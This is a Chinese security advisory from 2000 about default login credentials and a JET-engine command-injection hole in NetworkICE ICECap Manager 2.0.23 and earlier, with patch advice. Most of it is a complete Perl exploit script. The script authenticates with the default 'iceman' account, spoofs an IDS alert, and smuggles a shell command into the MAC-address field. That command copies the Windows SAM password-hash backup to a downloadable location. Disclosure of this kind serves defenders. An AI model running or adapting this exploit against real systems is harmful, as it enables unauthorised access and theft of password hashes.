安全研究

安全漏洞
NetworkICE ICECap Manager 缺省账号和口令漏洞

发布日期:2000-05-18
更新日期:2000-05-18

受影响系统:

ICECap Manager 2.0.23以及更低版本
   - Microsoft Windows NT 4.0
描述:
ICECap Manager是BlackICE IDS代理程序的一个管理控制台。缺省情况下,它监听8081端口
,并通过8082端口传送警告信息。缺省管理账号名为'iceman',缺省口令为空。如果用户没有
修改这个缺省口令的话,远程攻击者就可能登陆进ICECap manager,发送假的警告信息给正
在8082端口监听的服务程序。
缺省情况下ICECap Manager使用Microsoftw Access的JET Engine 3.5来储存报警记录。由于
JET Engine 3.5本身存在安全问题,远程者可能发送包含系统命令的假报警信息给Jet Engine
,将导致Jet Engine去执行某些命令。


<* 来源:rain forest puppy / rfp@wiretrip.net *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
#
# RFPickaxe.pl - demo exploit for default ICECap login/alerts
# Disclaimer: I do not provide technical support for my exploits!
#
# Sorry, this requires Unix, due to the `date` call

$|=1;
use Socket;

###############################################################

# IP of ICECap system (assumes port 8082)

$Target="10.10.200.4";

# account info - uses default 'iceman' w/ no password

$account="iceman";
$httpauth="aWNlbWFuOiUzQjclQzYlRkU=";

#-------- attributes of the alert ----------

$id="100005";
$issue_name="Exploit";
$sev="1";

# spoof these

$target="0.0.0.8";
$target_dns="some.host.com";
$det_ip="0.0.0.8";
$det_nbn="SENSOR";
$int_ip="255.255.255.255";
$param="Pickaxe";

# either fake the MAC, or use it to run commands via JET vulnerability

#$det_mac="0000000000000";
$det_mac="|shell(\"cmd /c copy c:\\winnt\\repair\\sam._ ".
    "c:\\progra~1\\networ~1\\icecap\\spatch\\en\\sam.exe \")|";

##############################################################


$inet=inet_aton($Target);

$time=`date -u "+%Y-%m-%d %T"`;
$time=~s/ /%20/g;
$time=~s/:/%3a/g;

#path is \program files\network ice\icecap\spatch\en

$alert="accountName=$account&issueID=$id&issueName=$issue_name".
    "&severity=$sev&targetNetAddress=$target&targetDNSName=".
    "$target_dns&detectorNetAddress=$det_ip&detectorNetBIOS".
    "Name=$det_nbn&detectorMacAddress=$det_mac&".
    "intruderNetAddress=$int_ip&detectorType=3&startTime=".
    "$time&parameter=$param\r\n";

$len=length($alert);

@DXX=();
$send=<<EOT
POST / HTTP/1.0
User-Agent: netice-alerter/1.0
Host: $Target:8082
Authorization: Basic $httpauth
Content-Type: application/x-www-form-urlencoded
Content-Length: $len

EOT
;

$send=~s/\n/\r\n/g;
$send=$send.$alert;

sendraw("$send");

print @DXX;

exit;

sub sendraw {     # raw network functions stay in here
    my ($pstr)=@_;
    $PROTO=getprotobyname('tcp')||0;

    # AF_INET=2 SOCK_STREAM=1
    eval {
    alarm(30);
    if(!(socket(S,2,1,$PROTO))){ die("socket");}
    if(connect(S,pack "SnA4x8",2,8082,$inet)){
        # multi-column perl coding...don't do as I do ;)
        select(S);     $|=1;
        print $pstr;     
        @DXX=<S>;
        select(STDOUT); close(S);
        alarm(0);     return;
    } else { die("not responding"); }
    alarm(0);};
     if ($@) { if ($@ =~ /timeout/){ die("Timed out!\n");}}}    



建议:
NetworkICE 已经发布了ICECap Manager 2.0.23a,它修补了这个安全漏洞。

使用ICECap Manager 2.0.23以及更低版本的用户可以从下面的地址下载更新程序:

http://update.networkice.com/cgi/ic2023a.exe?


浏览次数:8883
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障